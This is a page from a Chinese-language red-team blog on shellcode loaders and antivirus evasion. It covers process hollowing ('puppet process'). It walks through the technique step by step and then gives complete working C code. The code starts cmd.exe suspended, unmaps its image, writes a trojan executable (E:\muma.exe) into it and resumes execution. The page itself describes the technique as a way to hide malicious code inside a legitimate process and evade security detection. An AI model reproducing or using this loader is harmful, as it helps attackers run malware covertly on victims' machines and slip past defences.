Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 简介
  • 实现思路
  • 1.创建挂起进程
  • 2.读取恶意程序的内容
  • 3.获取挂起进程的线程上下文和映像基址
  • 4.卸载挂起进程的内存
  • 5.将恶意程序内容写入目标进程
  • 6.更新目标进程的线程上下文
  • 7.恢复目标进程的主线程
  • 完整代码
  1. Shellcode加载器

进程镂空注入(傀儡进程)

简介

进程镂空(Process Hollowing),又称为“傀儡进程”,是一种恶意软件(malware)利用的代码注入技术。它主要用于将恶意代码注入到合法进程中,以规避安全检测、提高恶意代码执行的隐蔽性和稳定性

实现思路

1.创建挂起进程

创建一个新的目标进程(这里是cmd.exe),并将其创建为挂起状态,这样它的主线程不会立即执行

BOOL bRet = CreateProcessA(
    NULL,
    (LPSTR)"cmd",
    NULL,
    NULL,
    FALSE,
    CREATE_SUSPENDED,
    NULL,
    NULL,
    &si,
    &pi);

2.读取恶意程序的内容

//读取恶意程序的内容至本进程内存中
hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
CloseHandle(hFile);

//获取恶意程序的文件头信息(Dos头和Nt头)
pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;  //获取Dos头
pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头

3.获取挂起进程的线程上下文和映像基址

在挂起创建的进程中,EBX(在x86架构下)和RDX(在x64架构下)寄存器通常用于存储指向PEB(进程环境块)的指针。PEB是一个包含进程相关信息的数据结构,例如映像基地址、操作系统版本等。

//获取挂起进程的上下文
GetThreadContext(pi.hThread, &ctx); 
  
//获取可执行映像的基址
#ifdef _WIN64
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
    // 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif
    // 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif

4.卸载挂起进程的内存

如果挂起进程的映像基址和恶意程序的映像基址相同,则调用NtUnmapViewOfSection卸载原始进程映像

//判断文件预期加载地址是否被占用
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
{
    NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
}

5.将恶意程序内容写入目标进程

先将恶意程序的头部信息写入目标进程,随后逐节将恶意程序的各个节写入

//为可执行映像分配内存,并写入文件头
RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

//逐段写入
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
}

6.更新目标进程的线程上下文

将程序计数器(EAX/RAX 或 ECX/RCX 寄存器)设置为替换映像的入口点地址,并更新目标进程PEB中的映像基地址

#ifdef _WIN64
    ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
#ifdef _X86_
    ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif

设置目标进程的线程上下文,使其使用新的上下文信息

SetThreadContext(pi.hThread, &ctx); // 设置线程上下文

7.恢复目标进程的主线程

ResumeThread(pi.hThread); // 恢复挂起线程

完整代码

#include <stdio.h>
#include <Windows.h>
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

int main(int argc, wchar_t* argv[])
{   
    // 定义变量和结构体
    IN PIMAGE_DOS_HEADER pDosHeaders;
    IN PIMAGE_NT_HEADERS pNtHeaders;
    IN PIMAGE_SECTION_HEADER pSectionHeaders;
    IN PVOID FileImage;
    IN HANDLE hFile;
    OUT DWORD FileReadSize;
    IN DWORD dwFileSize;
    IN PVOID RemoteImageBase;
    IN PVOID RemoteProcessMemory;
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    si.cb = sizeof(si);
   
    //用于替换的恶意程序
    char path[] = "E:\\muma.exe";
    
    // 创建挂起的cmd进程
    BOOL bRet = CreateProcessA(
        NULL,
        (LPSTR)"cmd",
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &si,
        &pi);
    
    //读取恶意程序的内容至本进程内存中
    hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
    FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
    CloseHandle(hFile);
    
    //获取恶意程序的文件头信息(Dos头和Nt头)
    pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;  //获取Dos头
    pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头
    
    //获取挂起进程的上下文
    GetThreadContext(pi.hThread, &ctx); 

    
 //获取挂起进程的映像基址
#ifdef _WIN64
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
    // 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif
    // 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
    

    //判断文件预期加载地址是否被占用
    pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
    if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
    {
        NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
    }

    //为可执行映像分配内存,并写入文件头
    RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
    
    //逐段写入
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
    {
        pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
        WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
    }
    
    //将rax寄存器设置为注入软件的入口点
#ifdef _WIN64
    ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
    //将eax寄存器设置为注入软件的入口点
#ifdef _X86_
    ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
    /*
    lea eax
    call eax
    */
#endif
    SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
    ResumeThread(pi.hThread); // 恢复挂起线程
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}
上一页模块踩踏下一页反射dll注入(内嵌式)

最后更新于1年前